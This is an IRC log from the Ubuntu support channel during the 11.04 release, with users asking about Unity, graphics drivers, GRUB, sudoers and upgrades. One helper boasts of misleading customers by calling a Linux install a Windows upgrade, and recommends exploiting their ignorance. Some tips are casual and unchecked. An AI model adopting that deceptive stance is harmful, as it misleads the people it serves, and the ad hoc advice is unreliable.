[03:32] <ubottu> For more information on vpn please refer to https://wiki.ubuntu.com/VPN
[03:32] <NictraSavios> Hmm, long time no see. I've been shifted within the team, so now I have to use Windows.... oh well, 2 months then osx, then 2 months then Linux :P BUT. I still have all my linux knowledge and will continue to help :)
[03:32] <gtlarue> so, "movie player" is the culprit of my audio issues
[03:32] <xsinick_laptop> bitplane:  i like to complain live and have it yeild no results
[03:32] <gtlarue> after I run it, all the audio on the machine gets choppy and distorted, and I have to reboot to make it normal again
[03:32] <NictraSavios> Hmm, any open issues mentioned before i came?
[03:32] <bitplane> xsinick_laptop: haha okay
[03:32] <varunvyas> please help
[03:32] <Sengoku> can someone help me with wireless
[03:33] <Kage> I get a "tx refused but queue active" crash
[03:33] <NictraSavios> varunvyas, I can help
[03:33] <izinucs> Ok.. so what's the verdict on a system with dual monitors.. is natty ok or more difficult to be productive?
[03:33] <carandraug> mistervinblack, there's a lot of commands. You can ask him on a private window to not fill the channel
[03:33] <jorgp> sebsebseb: unity working good now. thank
[03:33] <jorgp> thanks
[03:33] <varunvyas> My upgread to 11.04 stuck while ins talling
[03:33] <sebsebseb> jorgp: ok awesome :) and your welcome
[03:33] <NictraSavios> Sengoku, Go to terminal , run "lspci | grep -i network" and paste the results to paste bin
[03:33] <NictraSavios> !pastebin | Sengoku
[03:33] <ubottu> Sengoku: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[03:33] <bitplane> izinucs: no real difference here IMO, also when I was on beta 1 I just used GDM instead because of an ATI driver bug. choose ubuntu classic at login and you get the old desktop
[03:33] <sebsebseb> jorgp: and yeah this is a great way to try out Unity, since don't need to put Ubuntu on real hardware as a result :)
[03:34] <plummerb> Alright, posted my Desktop stretching issue to the Ask Ubuntu site.  Hope someone knows if there is a fix...
[03:34] <NictraSavios> varunvyas, What step is it on?
[03:34] <Sengoku> 0b:00.0 Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01) , NictraSavios
[03:34] <gartral> i have a laptop that has an *insane* battery.. it lasts about 9 hours. the indicator turns red.. at around 2:40 hours left.. how do i change that?
[03:34] <plummerb> Good night all.  Have a good weekend....
[03:34] <varunvyas> installing
[03:34] <xsinick_laptop> varunvyas: I told you guys this new edition is not good
[03:34] <bitplane> izinucs: you get the win7 style window resizing thing which is cool, you can have two partially maximized windows per screen
[03:34] <jorgp> sebsebseb: yp, works great with osx and virtualbox
[03:34] <NictraSavios> Sengokiu, Did you check to see if its supported or not?
[03:34] <izinucs> bitplane: if you go the upgrade route (provided it actually works) do your "bar" setups still remain?
[03:34] <Sengoku> NictraSavios: it worked on ubuntu 10
[03:34] <scorch_> has anyone had luck installing dropbox to 11.04?
[03:34] <mistervinblack> thanks
[03:35] <NictraSavios> Sengoku, Thats great, But thats not your issue :P Must be a regression. One sec.
[03:35] <trism> scorch_: yes, it works fine
[03:35] <xsinick_laptop> scorch_:  my point exactly
[03:35] <plummerb> Watch out for those insane batteries...  They can do strange things...  LOL
[03:35] <Spaz_Dynamic> I forget, was Lucid a LTS release?
[03:35] <izinucs> bitplane: yes.. on natty.. ctrl+alt+4 or 6
[03:35] <MaMaGoody> hi, can I choose workspace by putting some applet in statusbar in new ubuntu?
[03:35] <NictraSavios> varunvyas, :P Click "Show details"
[03:35] <Kage> what file determines which modules get loaded?
[03:35] <bitplane> izinucs: I'm not sure, do you mean the GDM panel things? I was using AWN with no bottom bar and that was exactly the same after I upgraded
[03:35] <Laggg> Escott, im stuck at grub rescue screen
[03:35] <varunvyas> also when I restarted, my box and tried to run, it says not able to get exclusive lock close all apt. I checked in ps but there's no up running
[03:35] <MK``> Are releases like 10.04.1, that have been superseded by 10.04.2, supported, or is only the most recent point release supported?
[03:35] <izinucs> bitplane: yes
[03:35] <xsinick_laptop> to be honest the ui design is seriously flawed
[03:36] <escott> Laggg, ok so you got grub to load, but its not giving you a menu
[03:36] <scorch_> trism: me no go, its stuck at 97% unpack
[03:36] <frankcox777> hi everyone
[03:36] <sebsebseb> xsinick_laptop: the people who run this channel, don't like people complaining about Unity in here
[03:36] <Laggg> Yeah grub.env.export not found
[03:36] <varunvyas> so what should I do to rerun upgread :(
[03:36] <NictraSavios> Sengoku, https://help.ubuntu.com/community/WifiDocs/Device/Broadcom_BCM4311_rev_01_%28ndiswrapper%29
[03:37] <sebsebseb> xsinick_laptop: however loads of good atlerantives.  Gnome Shell the proper interface for Gnome 3, and so on :)
[03:37] <Juest> ok, where i can find the static grub configuration?
[03:37] <xsinick_laptop> sebsebseb: that's why it is the way it is and the main userbase is getting pissed off about it
[03:37] <bitplane> sebsebseb: tough shit, change something as huge as teh default desktop experience and people are bound to complain. specially when people have customized gdm for years and it all stops working
[03:37] <frankcox777> I cannot get cable working in new install of Ubuntu 10.4 -the same cable works on 9.4
[03:37] <Toph> i just upgraded to 11.04 and i can't log in. I have logged in successfully in safe mode
[03:37] <truepurple> Anyone here know anything about ATI/AMD video drivers for ubuntu?
[03:37] <sebsebseb> bitplane: yeah indeed I know
[03:37] <bitplane> Toph, what happens?
[03:37] <Juest> and how do i add new users to sudoers list?
[03:37] <NictraSavios> varunvyas, It sounds like your install went screwy. I could help you fix it for hours, butyour best bet is to backup all your data, and do a fresh install
[03:37] <NictraSavios> brb.
[03:37] <escott> Laggg, well you can do a minimal boot as set root (hd1,#) linux /boot/vmlinuz-??? root=/dev/sdb#
[03:37] <Laggg> escott maybe its looking in the wrong spot?
[03:37] <Juest> because i can't use vi/visudo
[03:37] <sebsebseb> bitplane: and I don't like Unity much myself really, but still what I just said
[03:37] <IdleOne> bitplane: keep the language clean please
[03:37] <carandraug> Juest, you must run visudo
[03:38] <gartral> i have a laptop that has an *insane* battery.. it lasts about 9 hours. the indicator turns red.. at around 2:40 hours left.. how do i change that?
[03:38] <Sengoku> k fforget this distro
[03:38] <escott> Laggg, initrd /boot/initrd.img????; boot
[03:38] <Sengoku> i'm going back to ubuntu 10
[03:38] <Sengoku> this is so weird
[03:38] <xAndromeda> does anybody know how i can resize the application launcher? it looks ugly as fck fullscreen
[03:38] <escott> Laggg, thats 4 commands total
[03:38] <Toph> bitplane,,, i get to the login screen with my name and all, I enter my password, screen goes blank for some seconds and returns to the login screen
[03:38] <sumyunguy> If I want to install unity in 10.10 desktop, do I install the netbook version?
[03:38] <sebsebseb> xsinick_laptop: yep indeed I know, but well should be a good thing for other desktop envrionments and other distro's, so not that big a deal really :)
[03:38] <NictraSavios> back.
[03:38] <escott> Laggg, you can use ls to fill in the details on the version numbers
[03:38] <Juest> toph: how did you installed the system?
[03:38] <carandraug> Juest, you can try with a normal text editor but then there'll be no check after editing. And you may end up with an unusable sudo conf file
[03:38] <bitplane> Toph, have you tried using the "Ubuntu Classic" option from the drop-down at the bottom of the screen? sounds like Unity is crashing
[03:38] <izinucs> xAndromeda: install compiz-config-settings manager and do it there.. click on the "unity" plugin
[03:39] <NictraSavios> Sengoku, Hmm, too complex? If you want i can help walk you through it.
[03:39] <gartral> Toph: sounds like your out of free space in /home
[03:39] <Toph> Juest,,, i upgraded
[03:39] <xsinick_laptop> sebsebseb:  ok you got me there lol
[03:39] <escott> Laggg, since you have two drives there is always the possibility that you are booting a grub on the wrong mbr
[03:39] <Toph> bitplane,,, i haven't
[03:39] <izinucs> xAndromeda: but be aware that it will only go to 1/2 screen :(
[03:39] <ZenGuy311>  does unity work with intel on board graphics?
[03:39] <escott> Laggg, so I always recommend installing grub to both mbrs
[03:39] <truepurple> Anyone here know anything about ATI/AMD video drivers for ubuntu?
[03:39] <Juest> carandraug: how does that check work?
[03:39] <izinucs> ZenGuy311: yes
[03:39] <Toph> gardar,,, i can check that
[03:39] <NictraSavios> ZenGuy311, If it supports openGL , yep.
[03:39] <Sengoku> NictraSavios: my Guake is all messed up.. I can't alt-tab :S
[03:39] <Name141> Is there something else like super_pi you can use to benchmark the CPU and tell how fast it is instead of just stressing it ?
[03:39] <ZenGuy311> izinucs: thanks
[03:39] <FoolsRun> can you run both Unity and Unity-2d on the same system?
[03:39] <Juest> and what's the syntax?
[03:39] <sumyunguy> join #ayatana
[03:39] <bitplane> truepurple: I'm using ATI gfx, can't say I know much about it other than it mostly just works. what do you need to know?
[03:39] <escott> Laggg, which you could do from either a chroot or if you can get a boot from the rescue prompt
[03:40] <izinucs> FoolsRun: yes.. but unity-2d looks like the old gnome
[03:40] <carandraug> Juest, I don't know. After editing the file, before saving, visudo checks if there's something wrong and if there is, it doesn't save
[03:40] <Sengoku> why would they disable alt-tab :S
[03:40] <izinucs> old gnome ... lol
[03:40] <NictraSavios> Sengoku, Hmm, hate to say it, but yea. 10.10 or LTS will work. If you want my opinion. Unity isnt worth it yet, wait till 12.04 or mabey 11.10.
[03:40] <truepurple> bitplane: I need to know which driver option is best for a radeon 6850
[03:40] <Toph> bitplane,,, let me try ubuntu classic
[03:40] <sebsebseb> xsinick_laptop: we are getting a bit off topic here, but really that's what Ubuntu is now, a first stepping stone distro for many people straight from Windows or Mac OS X, and many will move on to another distro later on :)  Linux Mint would be another example lf this.   at the end of the day, they are all Destkop Linux though, and that's wht I care about :)
[03:40] <xAndromeda> izinucs: i dont see it... O.o
[03:40] <Sengoku> NictraSavios: i'm going back to kde 3.5
[03:40] <carandraug> Juest, but to tell the true, I'm fairly confident on my skills at editing the sudoers file and always use nano or gedit
[03:40] <bitplane> truepurple: oh, can't help you there, I have a 5970 and chose the default driver from the notification in the notification bar
[03:40] <Juest> carandraug: i am not a vi user, so i can't use visudo :(
[03:40] <NictraSavios> sebsebseb, Unless your grandma. Then you dont care. Thats what Ubuntu is about. A Distro for all.
[03:41] <Sengoku> NictraSavios: so i have to do a full format?
[03:41] <jorgp> sebsebseb: I can not wait to see what gnome 3 will look like
[03:41] <Juest> i need that check
[03:41] <xsinick_laptop> why is blender spanning two workspaces  even in classic mode on my dual screens
[03:41] <xsinick_laptop> this makes my sooo very angery
[03:41] <truepurple> bitplane: I can install through a terminal command, additional drivers, or download the driver off of ATIs site
[03:41] <NictraSavios> Sengoku, Not a full, i would just format your root , dont worry about your home. (But it may screw things up, so if you want to be 100%, go for it :) )
[03:41] <xAndromeda> izinucs: if its under i looked in behavior and experimental and both dont seem to have a related setting
[03:41] <Juest> carandraug: ^^^^^
[03:41] <lordofthedance> can anyone tell me what the heck ive done: i am using a 21" screen with a widescreen resolution and i plugged in a 15" screen just to play around and i clicked detect monitors and a prompt came up recommending auto detect resolution sizes and now i cant set my main monitor above 1024x768 even after removing the smaller monitor and rebooting. does anyone have any suggestions? i feel like im missing something simple
[03:41] <MagusOTB> What's the command-line thing to upgrade to 11.04?
[03:41] <sumyunguy> If I want to install unity in 10.10 desktop, do I install the netbook version?
[03:41] <xsinick_laptop> every thing I luanch it I have to manually resize that sh** ?
[03:41] <truepurple> bitplane: Notification in notification bar? What do you mean?
[03:41] <xsinick_laptop> :(
[03:41] <Sengoku> sumyunguy: no you don't
[03:41] <hiexpo> Juest, replace nano with vi
[03:41] <xsinick_laptop> wahhhhh
[03:41] <NictraSavios> Sengoku, Unless you have the same / and /home partitions. The yes. Full.
[03:42] <Sengoku> NictraSavios: i do :(
[03:42] <sumyunguy> OK what do I do?
[03:42] <carandraug> Juest, I feel your pain bro. I'm not one either
[03:42] <izinucs> xAndromeda: humm.. I could have sworn it was there.. I changed mine last week.. maybe someone here will be able to chime in.
[03:42] <truepurple> bitplane: Do you use 11.04?
[03:42] <sebsebseb> NictraSavios: no it's not for everyone, but uhmm well me,  you,  jorgp and xsinick_laptop and anyone else who wants to continue this subject, we should move in that case to #ubuntu-offtopic or IdleOne may tell us off
[03:42] <ZenGuy311> lordofthedance: maybe you have mirror monitos on and the settings of the smaller monitor is still enabled
[03:42] <Laggg> Escott whats the command to boot? Room is too fast
[03:42] <MagusOTB> I remember it being not apt-get dist-upgrade
[03:42] <lordofthedance> zenguy311 any idea how to disable?
[03:42] <bitplane> truepurple: the additional drivers notification that pops up after you install. I suggest trying that first, if it doesn't work then remove the drivers using apt-get from the command line and try another option
[03:42] <sumyunguy> @sengoku what should I do?
[03:42] <lordofthedance> i did try that setting
[03:42] <Laggg> Pm me the cmd plz
[03:42] <ZenGuy311> go to monitors and uncheck mirror mononitors
[03:42] <lordofthedance> it seemed to not work tho
[03:42] <NictraSavios> Sengoku, Back it up, If you dont have a speical harddrive or partitions for backup, DVD-DL or DVD-R work great. USB Keys break every second month for me. I have disks that have backups from when i was 12.
[03:43] <xAndromeda> izinucs: kk thx anyways! i have a 2600x1200 screen and having it take my entire screen is just the most annoying thing on earth
[03:43] <Laggg> Will <3 u 4 evar lol
[03:43] <Toph> bitplane,,, Ubuntu Classic works
[03:43] <sebsebseb> bitplane: #ubuntu-offtopic if you want to continue the convo :)
[03:43] <NictraSavios> Sengoku, So USB Backup = 2 months. DVD = 5+ Years.
[03:43] <FoolsRun> RE above: I don't think Ubuntu will be a stepping stone to other distros any more than Windows is a stepping stone to other Linux distros. Some people just like a desktop operating system
[03:43] <truepurple> bitplane: Try what first? My card was already in my system before I installed ubuntu
[03:44] <lordofthedance> is there anyway to get ubuntu to check my monitor for max resolution settings? it doesnt seem to be a mirror issue
[03:44] <cardamon> Anyone know how I would switch from Unity 3D to Unity 2D?
[03:44] <linux> http://www.ubuntu.com
[03:44] <carandraug> Juest, I was reading visudo man page and it seems you can ask to use another text editor such as nano
[03:44] <NictraSavios> FoolsRun, Wait till ubuntu comes preloaded on Dell pcs. Then its windows all over again. Nobody knows there was a windows in 100 years. Cus everyone will use Linux.
[03:44] <FoolsRun> cardamon: sudo apt-get install unity-2d     then choose unity-2d from the session menu at login
[03:44] <NictraSavios> carandraug, Juest . Run EDITOR=gedit visudo
[03:44] <Juest> and, i don't know how to use nano, maybe emacs?
[03:45] <Juest> ok
[03:45] <linux> l do not know.
[03:45] <FoolsRun> NictraSavios: how is that a bad thing?
[03:45] <Juest> thanks NictraSavios :)
[03:45] <NictraSavios> FoolsRun, Cus then nobody will know the differance. Nobody will remember us.
[03:45] <carandraug> Juest, everyone knows who to use nano
[03:45] <Juest> i don't
[03:45] <FoolsRun> NictraSavios: I don't get it
[03:46] <Juest> welll, i prefer GUIs
[03:46] <NictraSavios> FoolsRun, Personaly... I love peoples faces when i tell them " I Run Linux, Windows and OSX on one computer." I dont wanna lose that. I like being differnt. :)
[03:46] <Sengoku> NictraSavios: why is there no alt+tab?
[03:46] <xAndromeda> SOOOOOOOOOOO FUGLY!!!!
[03:46] <Juest> x/gtk or console
[03:46] <izinucs> xAndromeda: that's high rez.. what kind of monitor?
[03:46] <NictraSavios> Sengoku, Im pretty sure it was used for somthing else in 11.04.
[03:46] <mrdeb> is 1104 stable?
[03:46] <truepurple> bitplane: Try what first? My card was already in my system before I installed ubuntu
[03:47] <Juest> yes, now is
[03:47] <FoolsRun> NictraSavios: so you're more interested in being part of an elite group than in there being a usable third option for normal users?
[03:47] <bitplane> truepurple: did you try the additional drivers thing?
[03:47] <mrdeb> is it? what p[roof do you have
[03:47] <izinucs> mrdeb: yes
[03:47] <truepurple> bitplane: I mentioned it specifically
[03:47] <Sengoku> NictraSavios: so how do you juggle between your applications?
[03:47] <izinucs> mrdeb: been running it for 3 weeks
[03:47] <NictraSavios> FoolsRun, Pretty much. Its why i became a white hat. Its why i use archlinux.
[03:47] <mrdeb> izinucs: you lucky
[03:47] <truepurple> bitplane: Are you using 11.04?
[03:47] <izinucs> Sengoku: alt+tab
[03:47] <NictraSavios> Sengoku, On the sidebar youll see dots on the open thingys.
[03:47] <izinucs> mrdeb: maybe..
[03:47] <xAndromeda> izinucs, its a samsung. i dont think they make them anymore though
[03:47] <researcher123> is there a saperate forum for 11.04?
[03:48] <xAndromeda> izinucs, cost me a small fortune
[03:48] <NictraSavios> researcher123, there was, its here now.
[03:48] <Sengoku> izinucs: oh doesn't work for me
[03:48] <izinucs> xAndromeda: I'll bet..
[03:48] <bitplane> truepurple: yeah I've been using it since beta 1, I installed the drivers from the additional drivers menu thing
[03:48] <carandraug> Juest, seriously. Everyone knows how to use nano, even if they never tried it before. Or at least the basic things. You move with the arrow keys, and write and delete with the rest of the keyboard. There's no command and insert modes. And all the commands you need are written on the bottom of the window all the time
[03:48] <izinucs> Sengoku: "doesn't work" is pretty vague.. what's not working?
[03:48] <researcher123> beofre I try 11.04 want to know what additional features r introduced
[03:48] <FoolsRun> NictraSavios: I just don't get it, I guess. I like computers to be easy for everyone to use, not complicated so that only a special few can take part.
[03:48] <truepurple> bitplane: So your using unity now with it?
[03:48] <Daniel_> someone speaks portuguese?
[03:48] <Sengoku> izinucs: alt+tab
[03:49] <NictraSavios> FoolsRun, I'm selfish tbh. I've always been "the player" "the nerd" "that guy", Ive always wanted to stand out and i have the physical and mental means to do so. I also have an obsession with making things work and look perfect.
[03:49] <izinucs> Sengoku: perhaps you have the wrong keyboard setup
[03:49] <carandraug> Daniel_, sim
[03:49] <carandraug> !pt | Daniel_
[03:49] <ubottu> Daniel_: Por favor, use #ubuntu-br para ajuda em português. Para entrar no canal por favor faça "/join #ubuntu-br" sem as aspas. Para a comunidade local portuguêsa, use #ubuntu-pt. Obrigado.
[03:49] <xsinick_laptop> people on here are egotistical  there should be free speech  even if it's about unpleasantness and  complaining the wise know it comes from love
[03:49] <Toph> bitplane,,, the new desktop fails to boot for me, but Classic works fine,, does that indicate that Unity is crashing?
[03:49] <izinucs> researcher123: you gotta be kidding... there's so much info out there on the web about the differences.. search
[03:49] <NictraSavios> FoolsRun, Yea i see, and agree with, your point :)
[03:49] <frankcox777> would someone be kind enough to help me get my cable broadband going in Ubuntu 10.4-it works fine in 9.4
[03:50] <bitplane> researcher123: new desktop experience with a sidebar and search instead of menus (called Unity), windows 7 style maximization and window moving, fully integrated with Compiz. Currently not very mature and may have some teething problems but in fairness it's not that bad
[03:50] <xsinick_laptop> I love ubuntu  as far as 10.10
[03:50] <FoolsRun> NictraSavios: but surely you see the advantage of a useful, functional, uncomplicated distro for people like, case in point, my wife who has Natty on a netbook and loves it.
[03:50] <selekta> I need help
[03:50] <carandraug> !ot | xsinick_laptop
[03:50] <ubottu> xsinick_laptop: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[03:50] <emet> can I stop unity from autohiding
[03:50] <truepurple> bitplane: So your using unity now with it?
[03:50] <spthysis_> hi
[03:50] <emet> I like it but the autohiding is annoying
[03:50] <dios_mio> hey
[03:50] <spthysis_> I have 11.04 on my Macbook Air 11inch
[03:50] <Toph> hey dios_mio
[03:50] <spthysis_> everything works fine
[03:50] <dios_mio> toph :P
[03:50] <NictraSavios> FoolsRun, Theres only one reason i dont use natty. The application button. Way to unorganised for me. My OCD goes wild.
[03:50] <researcher123> bitplane: thanks.Where can I get a tour of features?
[03:50] <spthysis_> except the sound.
[03:50] <bitplane> truepurple: yes I'm using Unity with ATI proprietary drivers that automatically installed
[03:50] <Toph> dios_mio,,, ,, my Unity is crashing
[03:50] <spthysis_> The sound doesn't work at all
[03:50] <spthysis_> :/
[03:51] <selekta> I just tried to install 11.04 and it gave me an error and restarted and now I'm stuck at purple screen that says the disk drive for / is not reaqdy yet or present
[03:51] <mrdeb> bitplane: do prop drivers ati work ok
[03:51] <emet> can you stop unity from autohiding
[03:51] <FoolsRun> holy crap! since when can you use XBMC as your session at login?! Awesome!
[03:51] <bitplane> researcher123: I'd guess YouTube is probably your best bet, search for ubuntu unity
[03:51] <spacemagic> CHAOS!
[03:51] <tensorpudding> emet: install ccsm, configure the unity plugin
[03:51] <truepurple> bitplane: What do you think about using the closed source drivers instead?
[03:51] <dios_mio> toph, did you install video card drivers?
[03:51] <cardamon> Need to switch from Unity3D to Unity2D. Already installed the packages, but it hasn't altered my login options, which remain Ubuntu, Ubuntu Classic, Ubuntu Classic (No Effects), etc.
[03:51] <truepurple> bitplane: And how do I go about installing them?
[03:51] <researcher123> bitplane: ok.thanks
[03:51] <FoolsRun> NictraSavios: actually I like that. I use Win7 at work and am always tapping the Windows key and searching, and the Application button has that same functionality.
[03:51] <bitplane> truepurple: I'm using the proprietary drivers because I need "eyefinity" with 3 monitor support
[03:51] <cardamon> Unity 3D uses a lot of compositing which my two year old netbook's Intel 945GMA hates.
[03:51] <spacemagic> i can still boot into 10 using grub after installing 11 i assume..?
[03:51] <dios_mio> toph, run "additional drivers"
[03:52] <xsinick_laptop> NictraSavios: exactly it looks like poor UI design  with no clarity
[03:52] <Toph> dios_mio,,, the propietary video driver that is listed in Additional Drivers is installed
[03:52] <mikinanuq> frankcox777: what's wrong with your cable modem?
[03:52] <researcher123> can I upgrade to Ubuntu 11.04?
[03:52] <frankcox777> nothing
[03:52] <NictraSavios> FoolsRun, And i fix alot of computers each day. Me and 7 guys share a live/work space as a group of whitehat hackers for hire. We also fix computers in our spare time. When someone comes to me for a reformat job, or a system upgrade, They get the LTS.
[03:52] <truepurple> bitplane: Is that what is called "duel head"?
[03:52] <carandraug> spacemagic, not if installed 11.04 over 10.10
[03:52] <dios_mio> toph, i installed that and my untiy worked, but i still use the classic desktop
[03:52] <researcher123> i am on 10.04 can I upgrade to 11.04?
[03:52] <cardamon> truepurple: Dual, not Duel.
[03:52] <frankcox777> I can connect same cable to this machine and it works fine-
[03:52] <Toph> dios_mio,,, yes, not sure why mine isn't working
[03:53] <carandraug> researcher123, no
[03:53] <selekta> I just tried to install 11.04 and it gave me an error and restarted and now I'm stuck at purple screen that says the disk drive for / is not reaqdy yet or present
[03:53] <NictraSavios> xsinick_laptop, FoolsRun  We should probably take this to off-topic :/ LOL i got yelled at before for this.
[03:53] <truepurple> cardamon: Fine, is that what they mean by dual head?
[03:53] <selekta> Anyone help me?
[03:53] <xsinick_laptop> researcher123:  warning do not  you will lose features
[03:53] <bitplane> truepurple: no it's triple head, need special drivers to support more than two (dual) outputs. Eyefinity supports up to 6 currently
[03:53] <carandraug> researcher123, you'll have to upgrade first to 10.10
[03:53] <emet> tensorpudding, awesome thanks
[03:53] <FoolsRun> NictraSavios: you're installing Linux for customers? Brave. I don't like being on the hook like that when they hate it or it breaks.
[03:53] <truepurple> bitplane: But multiple head means multiple monitors, not cards?
[03:53] <bitplane> xsinick_laptop: if you don't like Unity don't use it, stop moaning and choose "ubuntu classic" from the log in menu
[03:53] <NictraSavios> FoolsRun, I havent have one person complain. Ive had a few that thought it was an upgrade to Windows.
[03:53] <researcher123> ok
[03:54] <FoolsRun> NictraSavios: "Where's my Outlook" is all I'd ever hear
[03:54] <frankcox777> It is not the signal -the ehernet shows up in lshw
[03:54] <FoolsRun> But I support businesses, not individuals, so it's different.
[03:54] <bitplane> truepurple: yeah I'm using one card with 3 outputs, so they're all the same desktop/workspace and 3d effects work across them like a single monitor. if you have multiple cards you don't get effects across them
[03:54] <NictraSavios> FoolsRun, I said "Sorry i upgraded it for you, its called "Evolution" now."
[03:54] <xsinick_laptop> bitplane:  you don't understand even classic mode is buggy as far  dual screening  and blender
[03:54] <NictraSavios> FoolsRun, And people around here use hotmail for some reason.....
[03:54] <mrdeb> you dont nmeed dual screen
[03:54] <mikinanuq> frankcox777: that doesn't tell me much... :( you're just saying it works in one and not the other...
[03:54] <truepurple> bitplane: So "head" means monitor, not card?
[03:54] <Blake_> I am back.
[03:55] <selekta> Can someone pm me and help me? The channel is too fast im on my phone
[03:55] <Blake_> Tried some more to fix my problem, but failed.
[03:55] <NictraSavios> selekta, Reinstall.
[03:55] <bitplane> truepurple: I guess so
[03:55] <xsinick_laptop> bitplane:  also if that is the case and everyone goes back to classic to get it to work correctly and have ubuntu organized  then what is the use of updating
[03:55] <Blake_> I can't get my RealTek RTL8111/8168B to work. Can anyone help me?
[03:55] <NictraSavios> selekta, Format the partitions and reinstall. Only way outta that one for you.
[03:55] <Kage> I am having issues loading the kernel module "mac8021" during boot
[03:55] <selekta> Nictrasavios I can't I can't even login
[03:55] <Kage> its cauing a crash I think
[03:55] <frankcox777> what else can I tell you? There is nothing wrong with the connection -there is something with the software or hardware
[03:55] <FoolsRun> Huh... does rc.local run differently since 10.04? I have two commands in it that aren't running properly.
[03:56] <researcher123> I have 10.04 installed and also having CD image of 10.10.Can I upgrade to 10.10 using CD image on the same hard disk?
[03:56] <administrator_> what this?
[03:56] <Juest> researcher123: yes you can
[03:56] <frankcox777> I can plug the cable into any of my other linux installs and no worries
[03:56] <spthysis_> Help!
[03:56] <NictraSavios> selekta, insert your dvd/usb and preform the install of 11.04, if you dont have a install cd or usb, get to a computer somewhere and get one.
[03:56] <researcher123> Juest: whats the procedure.I have never tried it
[03:57] <spthysis_> It's as if Pulseaudio just doesn't see my sound input and output devices
[03:57] <truepurple> bitplane: What is the method of installing the open source version of the drivers? Through a terminal command?
[03:57] <spthysis_> yet runnning alsamixer returns the right device.
[03:57] <NictraSavios> FoolsRun, People are ignorant. Use that against them "Hey i upgraded your system to "Windows Ubuntu"
[03:57] <frankcox777> I see a light from the ethernet port but it does not appear to light the end of the cable as it does on other machines
[03:57] <cardamon> Need to switch from Unity3D to Unity2D. Already installed the packages, but it hasn't altered my login options, which remain Ubuntu, Ubuntu Classic, Ubuntu Classic (No Effects), etc.
[03:57] <NictraSavios> cardamon, reboot ?
[03:57] <truepurple> bitplane: A webpage says the open source version is actually better for 'multihead'
[03:58] <cardamon> Why should I have to do that?
[03:58] <DeathAtNight> hello
[03:58] <BKTech86> is it possible to change the permissions of an external drive that is currently not letting me write to it because "file system is read-only" ??
[03:58] <mikinanuq> frankcox777: is it getting an IP? do an  ifconfig and see if it has an IP.
[03:58] <Kage> I am having issues loading the kernel module "mac8021" during boot... I get a error in syslog then what seems to be a crash...
[03:58] <Saamm> is there a way i can sort apps as per rating in soft center
[03:58] <frankcox777> ok
[03:58] <DeathAtNight> Is their a sega emulator for linux ubuntu 11.04
[03:58] <Juest> BKTech86: yes, use mount
[03:58] <EmuAlert> Is there any system-wide dictionary that  I can reinstall? Spellcheck in empathy, firefox and gedit have all failed simultaneously
[03:58] <BKTech86> Juest: how?
[03:58] <MadDecent> does anyone know anything about getting HDMI out working on a netbook? I'm on a Asus EeePC 1015N running 11.04
[03:58] <truepurple> bitplane: What is the method of installing the open source version of the drivers? Through a terminal command?
[03:59] <mikinanuq> frankcox777: look at a working one and compare
[03:59] <NictraSavios> cardamon, because rebooting makes it reload itself. It will find the ne entries then. Remember, When somthing isnt right, Reboot, Reboot Again, Google. Its called 2RAG.
[03:59] <FoolsRun> What log do errors from rc.local show up in? I have a couple commands that aren't starting properly since upgrading
[03:59] <mrdeb> do you recommend installing 1104 over 1004
[03:59] <BKTech86> Juest: ohhh i think i know
[03:59] <frankcox777> yes
[03:59]  * DeathAtNight hello?
[03:59] <NictraSavios> cardamon, its the first thing you should do when trying to fix problems in 90% of cases.
[04:00] <carandraug> DeathAtNight, there was on the previous versions. There should also be on 11.04
[04:00] <mrdeb> do you recommend installing 1104 over 1004
[04:00] <NictraSavios> selekta, Thats why you have to burn it on another, differant, workin, computer. For your situation there isnt another option.
[04:00] <FoolsRun> mrdeb: there's no upgrade path from 10.04 to 11.04. You have to install 10.10 first.
[04:00] <mrdeb> FoolsRun: is it better i mean
[04:01] <intel64gamer> I have got a bit of a problem with my graphics card. It always runs on max voltage and frequency.
[04:01] <FoolsRun> mrdeb: depends on what you're using it for
[04:01] <NictraSavios> mrdeb, want an option or facts
[04:01]  * DeathAtNight is talking about that K Sega emulator that played everything sega from gen to gamegear to master system to sega cd.  I have a legal copy of sega games I just need a emulator I had to switch to linux to try it\
[04:01] <spthysis_> Uhhh Hello?
[04:01] <mikinanuq> frankcox777: type my handle when you reply.. makes it easier to read
[04:01] <BKTech86> Juest: ok, i'm apparently not using mount right, do you know how?
[04:01] <Juest> :O
[04:01] <frankcox777> ok
[04:01] <DeathAtNight> Anybody know the name of the sega emulator?
[04:01] <FoolsRun> mrdeb: if it's a "server" type machine, stick with 10.04 because it's more stable. If it's a desktop, I actually really like 11.04.
[04:01] <NictraSavios> BKTech86, sudo mount (devicename) (filepath)
[04:01] <Juest> don't ask me, i just only know how to mount in android
[04:01] <frankcox777> mikinanuq ok
[04:02] <Juest> and get mount help
[04:02] <Juest> is very easy to popup help
[04:02] <BKTech86> Juest: I tried mount -t hfsplus /dev/sdb1 /media/drive
[04:02] <carandraug> DeathAtNight, did you search for sega on the ubuntu software center?
[04:02] <BKTech86> Juest: but it still says cannot create dir, readonly filesystem
[04:02] <DeathAtNight> Yup came up just with a zsnes emulator
[04:02] <NictraSavios> BKTech86, example. sudo mount /dev/sda1 /mnt < mounts fisrt partition in first harddrive in /mnt. to find Device name, use df -h
[04:02] <researcher123> how to upgrade system from 10.04 to 10.10.I have CD image of 10.10 on my hard disk
[04:02] <DeathAtNight> and somethign I didn't want
[04:02] <frankcox777> mikinanuq it gives an ip address
[04:02] <DeathAtNight> saturn or something
[04:02] <NictraSavios> researcher123, click uprade button, upgrade to 10.10, then go to 11.04 the same way.
[04:03] <BKTech86> NictraSavios: i kinow how to use mount basically, but not to fix this problem of a read-only filesystem
[04:03] <xAndromeda> this lack of customization is killing me
[04:03] <NictraSavios> BKTech86, filesystem type?
[04:03] <carandraug> DeathAtNight, hmmm. I'm on debian now and have yabause (sega saturn) and dgen (genesis and MegaDrive)
[04:03] <BKTech86> NictraSavios: hfs+
[04:03] <DeathAtNight> dgen
[04:03] <mikinanuq> frankcox777: do you know what the IP of the router is? usually it's something like 192.168.0.1... type ping and the ip of the router. see if that works.
[04:03] <researcher123> NictraSavios: where is upgrade button?
[04:03] <truepurple> bitplane: What is the method of installing the open source version of the drivers? Through a terminal command?
[04:03] <frankcox777> mikinanuq ok
